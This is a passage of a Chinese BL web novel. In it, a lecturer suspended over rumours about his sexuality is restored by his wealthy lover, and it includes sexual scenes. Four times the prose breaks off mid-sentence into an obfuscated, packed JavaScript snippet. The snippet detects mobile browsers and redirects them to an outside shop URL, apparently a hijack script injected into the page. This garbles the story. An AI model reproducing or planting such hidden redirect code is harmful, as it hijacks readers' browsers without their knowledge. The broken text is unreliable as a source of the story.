本科生：【小月老师，他高中三年，女朋友就没中断过。】 裴玥：“......” 裴玥又想起来许霄远刚回国的那天了，许霄远前脚对他激动的拥抱，诉说着“好久不见”，后脚宣雅就从车里站出来，站到了许霄远身边，大大方方自我介绍“我是许霄远的女朋友”。 裴玥有时候也很想找个人工智能问问，许霄远到底喜欢男的，还是就是喜欢女的。 本科生：【小月老师，现在我和他是异地，他现在没有女朋友。他现在对我非常好，只要我发朋友圈说想要什么，他第二天就能给我送到宿舍门口。我现在就特别害怕他又找了新的女朋友，但是我又不知道我该以什么身份要求他不谈恋爱。小月老师，我现在该怎么办，我真的还要再继续喜欢他吗？】 翡衣月：【你跟他表白过吗？】 本科生：【表白过，他拒绝了我。】 本科生：【但是之后他还是继续对我好，握着我的手也还会继续亲吻手背。他到底把我当成了什么啊，我当时以为他会再也不理我了。】 裴玥在心里苦涩了一会儿，心想着：好歹你还有勇气表白。 那个时候他连“喜欢”都不敢说出口，十年前这样，十年后更是这样。 裴玥想了半天，发现对面小孩的情况其实要比他自己的好太多，他感觉自己应该更没资格给小孩指导“情感方向”，索性就开始想到哪句说哪句。 翡衣月：【每个人的感情经历都是不一样的，我的逻辑也不一定能适用于你的情况。但或许你可以看一下对方的人品，你这个直男兄弟如果是个有原则有责任心的人，那他真要和异性厮守一辈子，就绝不会继续吊着你了。】 翡衣月：【但他要是一边和女生确立关系，一边还继续对你暧昧，那其实是对两边都不负责，继续纠缠下去你会痛苦一辈子的，不如狠狠心断掉，早脱身早离开苦海。】 对面沉默了好半天。 悄悄回复了个：【但是我好像，不会再喜欢别人了。】 【我只喜欢他。】 翡衣月：【那要不再去跟他表白一次？可能他现在对你也有别样情愫了呢？如果这次他还拒绝你，那我们就彻底死心。其实人要是死心了，忍痛抽离苦海，不会多么长时间就能想明白，解开心结后就能继续开开心心往前走。】 本科生那边又是持久的不回应。 裴玥长舒了一口气。 他摇晃了两下桌子上的可乐，盯着电脑右下角的凌晨一点钟的时刻。 他起身去烧了一壶水，将烧水壶坐在了底座上。 听到对话框的来信提示音又“滴滴”响起，裴玥赶忙回到电脑边看。 只见本科生又发过来很大一段话，很多叹号和“加油”表情包穿插在文字间： 【我决定了，我准备再勇敢一把！小月老师你说的非常对，因为我之前对他太喜欢了，忽略了他的‘人品’。如果他继续吊着我，我就看清楚了他是个什么样的人，就算将来和他在一起也还是会患得患失！如果真的是这样，我一定会逼迫着自己和他断掉，早断早解脱！！！】 本科生：【真的太谢谢你了小月老师，感觉您活的真的很通透。希望我也能变得像您一样理智洒脱！】 裴玥：“.…..” 本科生又问了几个论文的问题，就下线去睡觉了。裴玥删删减减想要发过去的话，最终就写了一段简单的祝福，祝福这小孩一定会幸福。 关掉电脑，裴玥听到烧水壶发出水烧开了的声音。 他站起身，走到吧台。 没开灯，黑夜里水蒸气冒着白嘟嘟的雾。 那些水雾模糊了前方的视线，看不清楚任何东西。裴玥伸出手，忽然想去摸一摸那些抓不住的东西。 他的指尖刚触碰到滚烫的雾气，水蒸气突然就灼烧了一下他的肌肤。 疼痛感瞬间撕裂了他的皮层感官。 “嘶——” 裴玥抽手，连连后退了几步。 他倒退到墙边，手指上的疼痛沿着神经脉络传递到了身体各个位置。 泪腺似乎也被刺激到了。 眼泪忽然就“吧嗒吧嗒”滚落了下来，在地面上晕出两个神色的小圆圈。裴玥也不知道自己为什么要掉眼泪，大概是想到了十年前被许霄远突然“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531748|203714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 截断掉”的痛苦了。 * 很快，学校的正式处罚文件在系里官网上公布了。 裴玥按照和校领导讲好的，写了篇道歉文书，并解释了自己并不是同性恋，那些照片都是“ai合成”。很多情况下一些事实的真假其实并没有那么重要，校方只要一个态度，而裴玥必须亲自承认。 裴玥不知道自己还要被“放假”到什么时候，就继续在网上给人代写作业。他窝在小房子里也不出门，吃着零食，喝着快乐肥宅水，一连几天胡子也不刮，看起来毛毛糙糙的。 停课了大概一个星期，有天晚上裴玥睡觉时感觉旁边似乎有人，他睁开眼睛，忽然就看到许霄远坐在了床对面桌子前的椅子里。 裴玥一惊，瞬间就从床上翻了起来。 这边的声音一下子就惊动了坐在电脑前的许霄远，许霄远回头看了裴玥一眼，拿着放在桌子上倒好了的温开水，站起身走过来，递给裴玥。 “多补水”一直是许霄远喜欢叮嘱裴玥去做的事情，裴玥不爱喝水，嘴唇总是干干的，许霄远总是会因为看到裴玥泛起白边的嘴角而对他“生气”。 “喝掉。”许霄远说道。 裴玥乖乖巧巧接过玻璃杯，握住杯子那一瞬间，他忽然就发现自己手上一直都没去处理的烫伤伤痕，已经被人细心包扎。 杯壁倒映的身后的景物里，小咪也已经熟睡下去，肚皮吃的圆滚滚的。 许霄远给他递完水，就重新坐回到电脑前。房子很小，床距离电脑桌就几步路长度。 裴玥一眼就看到了，自己睡觉前没关掉的电脑正在被打开。 他跟再一次来找他买作业的那个本科生的聊天记录，也正在被人“阅览”。 大段大段明黄色的对话彰显了那些聊天记录应该就是一个多周前他回应本科生“情感问题”的内容，裴玥脑袋宕机了一下，他想了一下他对大学生的“情感指导”，当即就跳下床，想去阻止许霄远继续看。 然而已经晚了，许霄远已经“浏览”到了最前端。 “.…..” “.…..” “.…..” 空气瞬间陷入了安静。 裴玥不知道该说些什么，痛苦的闭了闭眼。 可能他对大学生说的那些话，并不能让普通人察觉出来什么。但许霄远不是普通人，是他只差一张薄薄的窗户纸，就会捅破他对他长达十年之久的暗恋的“当事人”。 裴玥总是跟许霄远“开玩笑”，说自己一点儿都不喜欢他，让许霄远放心，自己也是异性恋，是一个非常正常的男人。 “那个，是我的不对。”半晌，裴玥还是决定先打破沉默。 尽管他的手指已经掐入了掌心。 他尝试着给许霄远递一个台阶，主动把话题挪开。 “我不该给人代写，我身为一个大学老师，给人代写是违背了当老师的原则……霄远，你，生气了吗？” “.…..” “没有。”许霄远说道，“只是要是学校知道你在网上代写，我估计校长又要提着你的脑袋浸猪笼了吧。” “.…..” “对面给的太多了嘛。” 裴玥提着的心终于放了下来，因为许霄远明显接了他给的台阶。 但同时，他好像又没有那么的开心。 因为他有时，真的很希望，许霄远能“纠缠”一下他的感情。 5. 【撑腰】 这个念头在裴玥心中只是一闪而过，他不可能说出口，也不会去“破坏”眼前这份宁静。 裴玥问许霄远，怎么突然过来了。 许霄远用手指刮着裴玥还没喝完的可乐罐子，轻轻地道， “回了趟家，看到小咪不见了。我问阿姨，阿姨说你带着走了。” 裴玥：“哦。” 裴玥低着头，看着手上的包扎纱布。他抬起胳膊，把手伸到许霄远面前，有点小撒娇问他，“那我手上的伤也是你包扎的吗？” 许霄远回过头来， “不然呢。” 裴玥：“.…..” 许霄远拉住裴玥伸过来的手，又反复看了两下那伤口，语气里有些不满， “怎么伤着的，看着像烫伤。多大的人了还能毛毛糙糙，烫了几天了？伤口也不知道好好处理？” “我能放你安心一个人生活吗？” “.…..” 裴玥听着许霄远关心他的话，他心里一下子就美滋滋的。但他又不想被许霄远继续“训斥”，只能撒了个谎，说是昨天才烫的。 其实是他一个星期都没有处理伤疤，不仅不处理，他还会时不时撕开新生出的皮肉把玩。 许霄远拍了拍他的伤口，抬头，环视了一周这个狭小的房子。 房子真的很小，记得第一次许霄远来这里和裴玥睡觉，许霄远搂着裴玥望着这小小的天花板，就发出过这个不满。 “这么小的地方住着就这么舒服吗？一吵架就往这里跑，心情不好也要抱着小咪往这里跑。” 裴玥瞬间听出了，许霄远知道了他这些日子的不开心。 刚刚那些心满意足瞬间就化成了委屈，他鼻子顶上来一层酸，许霄远这个人就是这样，总是能一眼就看透了他藏在淡淡情绪下的不甘心。 那些学校里的流言恶语啊，他怎么可能一点儿都不在意？好多学生都在学校匿名论坛上骂他恶心，还开了楼探讨了他过去种种行为的是否包含了对同性“性骚扰”的含义。 裴玥心里防线瞬间被击垮，吸了吸鼻子就想哭。许霄远听到声音，看到他瘦瘦的脸皱成一团，好几天都不刮胡子的脸瘦的就像一张皱巴巴的纸，一点儿都没他离开前那么生龙活虎。 裴玥被许霄远牵着手，拉过来，揽着坐在了男人的腿上。 裴玥有一米八的个子，在这个拥挤的小房间里，两个大男人就这么搂搂抱抱在一起，确实显得有些局促。但这种旖旎状态又是其余的地方给不了的，裴玥一直没有跟许霄远说过他独钟于这间小房子，是因为这是年少时许霄远答应过他要和他买个小房子一起养猫养狗。 “明天给你去处理一下那些言论？” “.…..不用，我自己回头去处理就行了。” “怎么这么瘦了。” “.…..” “大男人在这里掉金豆豆，要是被你学生看到了，不怕被小孩笑话吗？” 裴玥抹了一下脸，他红着眼眶问许霄远，那他也会嫌弃他吗？ 许霄远愣了一下。 裴玥挺敏感的，许霄远又很喜欢这种粘人的劲儿。许霄远摸着裴玥的尾椎骨，抬头笑了一下，道， “当然不会啊，我怎么可能嫌弃你。” 裴玥：“o>……<> 许霄远摸了一会儿，就有点出感觉来了。他拍了拍裴玥的屁股，裴玥很心领神会的翻身回到了身后的床上。 许霄远问裴玥，家里有T吗？ 裴玥给自己腰下垫了两只枕头，他伸出胳膊，纤细的手指对着床头柜一指。很快就听到床头柜被拉开的声音，塑料薄膜被撕开，盒子被扔到了地上。 温热的身体从背后靠了过来，裴玥尾椎一紧，耳边许霄远的呼吸声变/重，裴玥咬住牙，酥麻感一点点涌上了大脑皮层。 “抽屉里准备了这么多，难不成还有别的男人？” “.…..” 裴玥每到这种事情上就完全能被许霄远弄得“生不如死”，他的脑袋都快要被醉死了，根本思考不了许霄远的问题到底何意味。他把脸埋在枕头里，尾巴骨摇晃的更快了，用破碎的呼吸声回应着身后的男人。 “妖精。”许霄远快乐极了，他揉着手上用掉的东西，扔到地上，又咬着塑料锯齿口拆了新的。 他贴着裴玥的耳朵，把嘴里的热气都渡给他，说着不像他的热烈的话。 “真想你啊。” “每次出差都想你，想槽你。想到发疯。” “小月月，你想我吗？” …… * 第二天早上不到八点钟，暨成大学大校长就收到了远风许家太子爷要来考察的消息。 远风许家是暨市最老牌的大家族，家族包含了从·政从商从·军三方面，其中信息工程系的人工智能方面的正是远风太子爷一手创办的大型器械组合公司一手掌控。大校长大概能猜到许大公子过来是为了什么，他一个电话打过去，把信息工程系的几个院长系主任都给从被窝里拉了过来。 王启华跟着高院长来到学校领导会议室时，就看到大校长已经穿戴整齐坐在会议桌的一侧了。 另一侧，坐着许家的大少爷。 大校长正在跟许霄远解释，为什么会给裴玥发“停止”的处分。 “当时是，裴教授亲口说的，会承担所有的责任。学校里的风险评估部门就没再对事件进行研究，许董实在是对不住了，唐突把裴教授给停职了确实是学校方面做的失策。” “.…..” 王启华一头雾水听着大校长的变脸，他跟高院长互相对视，完全不明白为什么学校里突然对裴玥的事情态度来了个一百八十度大转弯。 “我还看到贵校的论坛，也对裴老师进行了一些不太好的探讨。”许霄远面无表情，气场让人不寒而颤，“这些东西，郑部您觉得要如何处理？” 郑校长把秘书一大早就整理好的“证据”都一一交给了许霄远。 他一个副/部级干部，面对货真价实的太子爷，还是有点要扛不住顶头压力。 “学校网络安全部门已经安排人正在地毯式清理裴老师的不好言论了。” 许霄远：“我看你们还有老师，对裴教授的住址产生了疑惑。” 大校长：“.…..” 其实裴玥“停职”的这将近两个周，学校里对他的事情发酵的根本无法控制。已经有些曾经眼红裴玥成绩的同事把他曾经出入豪宅的监控都给“扒”了出来。 大校长那个时候并不知道裴玥的“背景”居然能硬到这种程度，明明项目成立典礼上，许霄远看起来跟裴玥只是点头之交。 许霄远一张张看着那些论坛里的“造谣”，模糊的照片和蚊子料齐同并进。翻到最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531749|203714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底下也是讨论时间最早的那一页，许霄远的手指停在了那些曾经出现在裴玥电脑上的“ai”照片。 他的目光稍微变深了一点，盯着那几张照片，多看了两三秒钟。 空气又沉默了几分钟，最终，郑校长对着许霄远，诚恳保证。 “都会给处理掉。” “以后有关于裴教授的事情，都不会再出现任何不友好的言论。” ”听说裴老师的项目也被瓜分走了？“许霄远问。 ”......” 郑校长一愣，皱紧眉头，眼睛就往信息工程那帮人的那边瞪。 “这个我还，不知道。” 许霄远看了眼坐在不远处的高院长。 高院长头皮都发麻了，裴玥这个项目确实被瓜分了。 但是这个事儿也是真的控制不住，裴玥手上的项目基本都是香饽饽，早些时候因为拉来了很多投资，引得不少和他有竞争关系的同事眼红滴血。 眼看大事不妙，高院长也顾不上这个项目前阵子被周转时花了多大的力气，他怕引火烧身，干脆直接站出来，承诺一定会把裴玥的项目原封不动还回到裴玥头上。 “老王和覃教授等会儿就会安排，是我们不对，那些项目确实是裴教授的，我们学院当时也只是想着帮裴玥分担一些工作量......” “......” “凭什么！！！” 正当这个会议室里所有人都在“齐心协力”想要哄好太子爷高兴时。 有一个声音，却划破了所有人的胆战心惊。 发声的正是信息工程学院过来的另一位教授。 也是裴玥很多年的竞争对手、瓜分裴玥的项目的“主力军”之一——覃思明。 覃思明当时看到裴玥爆雷，整个人都兴奋到像是拿到了国家级荣耀。他之后也去搜集了不少裴玥的“黑料”，学校论坛上好几个裴玥的私人行程，就是他匿名发布、并且在其中猛烈带节奏。 许霄远闭着眼睛眉头锁紧，似乎他根本就不想听到这种声音的发出来。 大校长和高院长都想堵住覃思明的嘴，但是覃思明已经站起身，拍着桌子对着许霄远鱼死网破的控诉道， “裴玥喜欢男人、作风不当，这难道不是事实吗！” “我们国家不倡导同性恋吧？他一个老师，出生贫困山区，父母双亡又没背景，才工作不到十年副高都没评上几年，你觉得他哪有能力能买得起顺华天府的房子？！” “好多学生都看到过裴玥被豪车接送，车还只敢停在学校对面的十字路口后方，他要是不是被包养了，他至于都不敢让他的金主把车开进校园吗？他有时候来学校里，脖子上都带着吻痕，我不信一个女的能有那么大的力气给他亲了那么多草莓！！！” “......” 许霄远听得额头青筋直跳。 他其实是想到了很多次自己不知节制。 裴玥其实有机会推开他的，但是那个人又不反抗，好像从来都是对自己逆来顺受。 这让许霄远其实更想弄死眼前的这个垃圾了。 许霄远抬起头，忽然笑了一下。他的笑一直客客气气，但客气之余，让人觉得他在磨杀人刀。 “顺华天府怎么了，顺华天府这套房子是我送给裴玥的。” “请问你、有、什、么、问、题、么。” 6. 【疼痛】 裴玥是被一阵吵闹的手机提示音炸醒的。 他睁开眼，拿起手机，就看到了实验室的几个学生正在轮番给他发“99+”的信息。 告诉他——有人来给他讨说法了。 “就是上次拉赞助时的许总！” “裴老师你居然跟许总是高中同学哎，那以后我们经费缺了，是不是就不用发愁了啊！” 裴玥：“.…..” 裴玥快速穿好衣服，他突然很想现在就见到许霄远。 他稍微刮了刮长长的胡子，系领带时看到了脖子上的红草莓。 裴玥想到自己在学校里已经“烂掉”的名声，过去他一定会找个粉扑遮起来这些痕迹，但今天他并不想藏着了。 裴玥打车去的学校，到了学校后他却又不着急直接去行政楼。他先去了一趟实验室，让自己的期待能攒到更浓烈一些。 实验室的学生们都可想裴玥了。 不过见到裴玥后，大家对裴老师的态度更多是好奇裴教授和许霄远的“关系”。倒不是那方面的关系，而是许家名声显赫，学生们对权力的了解也已经能支撑得起他们的慕强心。 “老师，那前阵子咱们实验室突然追加了一大笔投资，也是许老板发的吗？” 裴玥放下包，翻了翻实验记录表，好像很不在意的回答， “本身王主任他们也有跟进大型器械公司投资项目的推进。” “好厉害啊！裴老师你真的跟许总是旧相识吗？这种大家族出来的人我以为都非常凉薄没人情味呢！你们是高中同学，得过去十年了吧，他居然还会帮你拉这么多投资，那你们当年关系一定非常好吧！” 裴玥莫名就想到了昨晚许霄远弄完他后，还让他枕着他的胳膊睡觉。大概许霄远真的对他有些超出友谊的情愫吧，裴玥弯了弯嘴角，把本子合上，就往桌面上一扣。 “别胡说啊，人家许总本身人就很好，再说学校里也为投资出了不少力。” “好好做实验，周五的组会补上这两周的。” “.…..” “啊啊啊啊啊啊啊——” 学生们哀苦连天声响了一片。 离开实验室，裴玥终于往行政楼那边走。 其实王主任也给他发了信息，问他是不是手里有什么许霄远的把柄啊，能让许霄远为了他把覃思明都给撤了项目。裴玥很想给他发一个“有许公子高中时的床照算把柄嘛”，但其实那只是裴玥保存的许霄远和他的里最微不足道的回忆之一。 裴玥按照王启华给他发的照片的会议室结构，找到了许霄远他们正在“算账”的校长会议厅。 一出电梯时其实就能听到覃思明的哭声，能让一个男人哭成这样，裴玥能想到的也就是这几年升职无望了吧。 许霄远一直就是这样。 到了门口，裴玥把手贴在门上。他听到覃思明发疯怒吼了好几声，突然一拍桌子就朝着许霄远大喊， “我知道了！是不是你才是裴玥那个相好——” “.…..” “.…..” “.…..” 此话一出，所有人都不敢喘气了。 因为在场所有人都知道，许霄远快要订婚了。 但裴玥其实已经很久没听到过许霄远和宣雅的事情，裴玥的心脏突然有点跳的加速，这个问题从来没人去问过许霄远，或者说从十年前那件事之后，就没人再敢问。 没人敢怀疑，许霄远会是gay。 裴玥放下去手，转过身去，他做好了离开的准备。对于许霄远承不承认他和他之间的关系这件事，裴玥一直都蛮悲观的。 会议室安静了几秒钟，不一会儿，许霄远波澜不惊的声音，缓缓从门缝里传了出来， “如果覃老师继续造谣生非，我不介意让你被开除公职。” “覃老师你觉得我能不能办得到。” “哎呀呀——何苦呢许总，何苦弄到这种地步！”大校长也抓紧上前来打圆场，他听出了许霄远语气里的生气，毕竟没人愿意被扣同性恋的帽子。 “思明，抓紧给许总道歉！说什么胡话？这种东西是能随随便便胡说八道的吗——” 裴玥忽然就感觉，眼眶有点涩涩的疼。 可能是昨晚睁眼角睁的太开了吧，不知道。他用手擦了一下脸，脸上的肉都是颤的。 那一刻他其实是觉得，那些造谣好像也没有那么“不堪”了。 裴玥准备好的离去的步伐一点点加速了起来，他几乎是“落荒而逃”钻进了电梯。电梯“叮叮”往下降落，出来行政楼的那一刻，外面大太阳耀眼的他忽然眼泪就往外窜。 他感觉自己的心脏好疼。 裴玥没再回家去，他乱糟糟的来到了好些日子都没踏足过的办公室。 教研室的老师们都去上课了，裴玥在自己的办公桌前坐下，用手扫了扫上面的灰，打开笔记本随便找了一篇文献。 他漫无边际地看着那些一下子就无法进入到脑子里的文字。 也不知道过了多久，王启华回来了。王启华一见到裴玥居然在办公室里，先是一怔，随后脸上换上了要比平日里更加“温柔”的表情。 “小裴来了！” “你两个周没来学校，大伙儿可都想死你了。感觉怎么样，休息的开心吗——” 裴玥慢吞吞抬起头，桌面上倒扣的手机突然嗡嗡震动了两下。 裴玥拿起手机，看到是郑校长让他去一趟校长办公室的通知。 “谁给你发的信息呀？”王启华问。 裴玥：“大校长。” 王启华：“啊——那可能是有什么好消息了吧！快去快去！” 裴玥：“.…..” 裴玥知道大校长能找他过去，那许霄远也一定已经走了，事情也一定已经处理好，但他一点儿都不开心。 眼睛还因为刚刚哭过，红晕还没有完全消散。 到了大校长办公室，郑校长亲自给裴玥说了“对不起”。 他们的态度一百八十度大转变，说会给裴玥撤掉所有处分，那些“造谣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531750|203714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”也会全部处理干净。 “你手上的项目也会全部回归给你，投资方的许总专门要求这个项目必须你负责，小裴一定要好好干啊，你是我们学校的骄傲！” 裴玥回去办公室后，就看到自己的学校邮箱里，飞来了项目的重新转交书，裴玥想起刚拉到这个项目那天，也是许霄远第一次和他在一起的那天。那晚许霄远喝多了，抱着自己亲了好久，突然就说了好多十年前的事情。 十年前的事情真的很疼，这十年裴玥其实过得也并没有那么好。可他真的太想念许霄远了，他想要是自己永远都不会有名分，那用身体留住这个男人也是不错的。 重逢之后的再次沦陷，许霄远没有再离开他了，许霄远第二天就说会对那天晚上的事情负责，他给暨大投资了几个亿，并直接把裴玥的项目捧成了学校最受瞩目的科研工程。 裴玥拒绝了项目重新转交。 拒绝的邮件一发送，不一会儿高院长就一个电话打到了裴玥的手机。高院长在电话的声音里明显能觉察到紧张，他问裴玥，是还对学校的处理方案有什么不满吗？ 裴玥给不出真正的理由，他沉默了半天没回答，说没有不满意。 “就是，感觉有点乱，先不想继续接。” 高院长怕出事，把裴玥的想法原封不动传达给了大校长。 裴玥在办公室呆到了中午，陆陆续续有同事上完课回到办公室。大家对裴玥的“回归”都蛮惊讶的，但也都听说了今上午的“讨伐”。没有人想找死，每个人跟裴玥打了声招呼，就收拾东西离开办公室下班。 “小裴不下班吗？今天食堂有京酱肉丝，你不是最爱吃？” “.…..” 裴玥：“袁老师你中午也不回家吗？” 袁哲：“哦我爱人出差，闺女中午不回来，下午一堆课，今天就在办公室吃了。吃完我回教职工宿舍休息。” 裴玥看着手机，想许霄远会不会给他打电话。 果然没过几分钟，许霄远的手机号码就响在了他的手机屏幕上。裴玥接起了电话，声音听起来淡淡的没什么心情。 “在哪儿？” “.…..” “项目怎么拒绝了？” 裴玥：“.…..” 许霄远的声音有点儿忙，像是正在开着车，周围都是喇叭的声音。 “你现在在学校里？” 裴玥撇了撇嘴，声音低落落的，隔着屏幕都能感觉到他不开心， “转交太麻烦，做不下去了。学生没跟着我两个星期，步伐也乱了套。” “不想要了。” 许霄远没有再说什么重话，他在乱糟糟的车鸣笛马路喧嚣声音中听完了裴玥无厘头的搪塞，沉默了几秒钟，说了句， “你在办公室坐一下，我现在就开车过去。” 暨大地处暨城郊区，最近的一个有繁华十字路口的热闹市区到这里至少开半个小时的车程。 二十分钟后，许霄远的车果然停在了信息工程系的办公楼正大门门口。 7.【和好】 许霄远的车到达学校门口那一刻，其实裴玥就已经听出来那是许霄远的车了。 他对许霄远的一切事情都非常熟悉，明明在电话里听到许霄远说的“他会来”，但在真的等到了许霄远到来那一刻，裴玥的心还是一如十年前那样，年少时藏在心里的那头小鹿在噗通噗通乱撞。 不一会儿，办公室门口就出现了那抹身影。 坐在裴玥对面的袁哲看到许霄远进入到办公室内，瞬间就站起了身。袁哲属于系里吃瓜吃的最浅薄的一层人，他对许霄远的印象完全就只有“这是个人物”。 “你是……许、许总？” 许霄远抬手跟袁哲打了个招呼。 袁哲比较震惊，看了看许霄远半天，又看了坐在对桌别着脑袋的裴玥半天，半晌他才把许霄远跟裴玥挂上钩。在他的意识里，许霄远这号人物来他们这“破落门户”月只能是过来谈合作业务的，袁哲感觉接下来许霄远大概是要谈什么大事，他端起饭盒拿起包来就自动的准备离开办公室。 “那裴老师我先回宿舍了，别忘了今中午食堂的京酱肉丝。” “.…..” 袁哲一走，办公室就又只剩下裴玥和许霄远两个人。 初夏的风吹拂着办公室外的梧桐树叶发着沙沙的声音，门把手上挂着的老旧铜门锁打着门板一声一声作响。 许霄远转身，去把那办公室的门给关上了。 裴玥低着头，他其实心里很激动，但又有点想让许霄远表表态度，所以咬着嘴唇一般不发。 许霄远熟悉的气息重新靠近，裴玥感受到了来自许霄远身上的气压，温热又想让人投怀送抱，那种安稳劲儿是他怎么都截断不掉的，裴玥的心一点一点被自我融化，他其实已经忍不住了，想去抓住许霄远的手，问他为什么上午要说那样的话。 不等裴玥犹豫再三，头顶上就已经传来了许霄远的沉稳的嗓音。 “心情不好？” 裴玥：“.…..” 裴玥撇了撇嘴，赌气般，说没有。 许霄远拉了把椅子过来就在裴玥身边坐下，裴玥垂着脑袋，余光就看到许霄远姿态放的很低，抬着头蛮认真地望着他。 手也被许霄远握住，那熟悉的安抚人的动作好像在一点点往他身体里灌输倚靠感。 “别骗我，你的不开心都写在你的声音里了，我还不了解你？说说看，有什么不开心的？” 那句“我还不了解你”一下子就点燃了裴玥心中的难过，裴玥的心脏像是被突然攥了一把，他很想对着许霄远吼，问问既然他那么了解他，为什么还要说他俩没有任何关系。 他那么喜欢他，他也几乎不拒绝他，这还叫“没有任何关系”吗？ 可是他又怕，真问出口了，那层窗户纸就彻底捅破了。 他不敢做，会失去许霄远的，风险。 这样的纠结让裴玥隐忍着，什么都不能说。然而越是不说，许霄远对他的温柔就愈发浓烈。 他的手指被许霄远细细揉捏，许霄远仿佛是一定要让他开口把委屈都说出来。 情绪即将分崩离析那一刻，裴玥突然就用另一只手一把将桌子上的电脑往前一推。 “许霄远，你有完没完！” “.…..” 两个人一齐站起了身，裴玥彻底绷不住了。他将所有无法言之于口的情绪都化作了扭曲的愤怒，他看着推着并不解气的电脑，转过身来，气喘吁吁看着愣住的许霄远。 裴玥一巴掌推到了许霄远胸口，一巴掌不够，他又砸了一巴掌。 那几个巴掌，力道都蛮大的。一开始许霄远的胸口紧绷，似乎是有些下意识的不悦。但很快他就松掉了紧绷的肌肉，明显能感觉到他默许了裴玥的“发疯”。 裴玥发泄完，抓着许霄远的西服领子低声喘气。许霄远的发型被弄得蛮乱的，许霄远双手攥住裴玥的两只手腕，上前来把人就往人往怀里搂。 “你不要搂着我！”裴玥一皱眉，就伸手去推许霄远。 可许霄远要做的事情哪能让人反抗？裴玥被带入许霄远的怀抱中，裴玥忍不住看了眼许霄远身后的门，他闭上了眼睛，声音冷冷的，还夹杂着一些难过。 “你这么抱着我，要是被人看到了，我怕再造你谣……” “你上午去会议厅了？” “.…..” 裴玥趁着许霄远思考的间隙，终于把人给推开。他重新回到自己的椅子里坐下，非常懊恼自己怎么就把真心话给说出来了。 “好多人今早给我发消息，我看到了，没办法，就只能过来了。”裴玥冷冰冰解释。 这个解释好像又挺苍白无力的。 空气突然沉默了起来，那层窗户纸好像在蠢蠢欲动。裴玥懊恼完又十分生气自己的情绪失控，他想把面前的电脑也给砸了，但似乎砸掉电脑并不能解决眼下的失态。 许霄远站在旁边，沉默地看了裴玥几秒钟。 几秒钟之后，许霄远看着频频烦躁的裴玥，伸出手就把人拉起来圈入了怀中。 “因为那句，‘造谣生非’，生气啦？”许霄远问道。 裴玥：“没有啊！” 许霄远忽然就笑了起来，好像是那种“心里石头终于落地”的笑，他把下巴抵在裴玥的头顶发旋里，让裴玥只能窝在他怀里，小幅度不乐意。 “我没有那个意思，上午那个情况你应该也看到了，我的目的只有想让那些对你不好的言论消失，想让你的名誉恢复。” “说出口的话，表达出来的意思不是表面的那个意思，所以可能让你误解了。我是说，下次再也不会说这种话了，我保证，好吗？” “.…..” 裴玥焦虑的心被一点点抚平，他感觉好像确实是自己斤斤计较了，是啊，许霄远做的事情，不都是出于为了他才去做的吗？ 可裴玥还是难受，安慰自己的话并不能完全让他彻底轻松下来。他用脑袋一点一点撞许霄远的胸口，眼睛里流出两行泪，哭着说道， “我们重逢后，许霄远你说想跟我在一起，我就给你了。” “这一年时间，只要你想要的，我都给你了，什么都给了。却换来‘撇清关系’这种话，谁听了会开心啊？这种话谁听了都会难受的啊！” “对不起。” “是我表达失误，玥玥我保证这种话我以后再也不会说了，我要怎么做你才能消气？” 许霄远一边哄着裴玥，一边用手给他接眼泪。裴玥的气是彻底消了，他其实根本不再需要许霄远再去做什么的“弥补”，只要许霄远能在意他，他就心满意足了。 裴玥没有回答，他抬起头来眨着大大的眼睛，潮湿地望着许霄远。许霄远替他擦眼泪的手指轻轻刮过了裴玥的鼻梁，忽然停顿，男人喉结一滚，五指张开伸向了后脑勺，就将裴玥的脑袋给拉了过来。 他的嘴唇吸住裴玥的唇，张开嘴就去咬裴玥。 裴玥眼睛一圆，他的眼尾扫了一下大门，看不清门口的情况，惊呼着“没锁门——” 许霄远：“我锁了！” 裴玥：“.…..” 裴玥就这么被许霄远摁着亲了许久，许霄远终于松开手，他的目光上下打量着裴玥的身子，眼睛里充满了探索的欲望。 办公室的窗帘被拉上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539544|203714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “.…..” “许霄远，这里是办公室，好奇怪啊……” 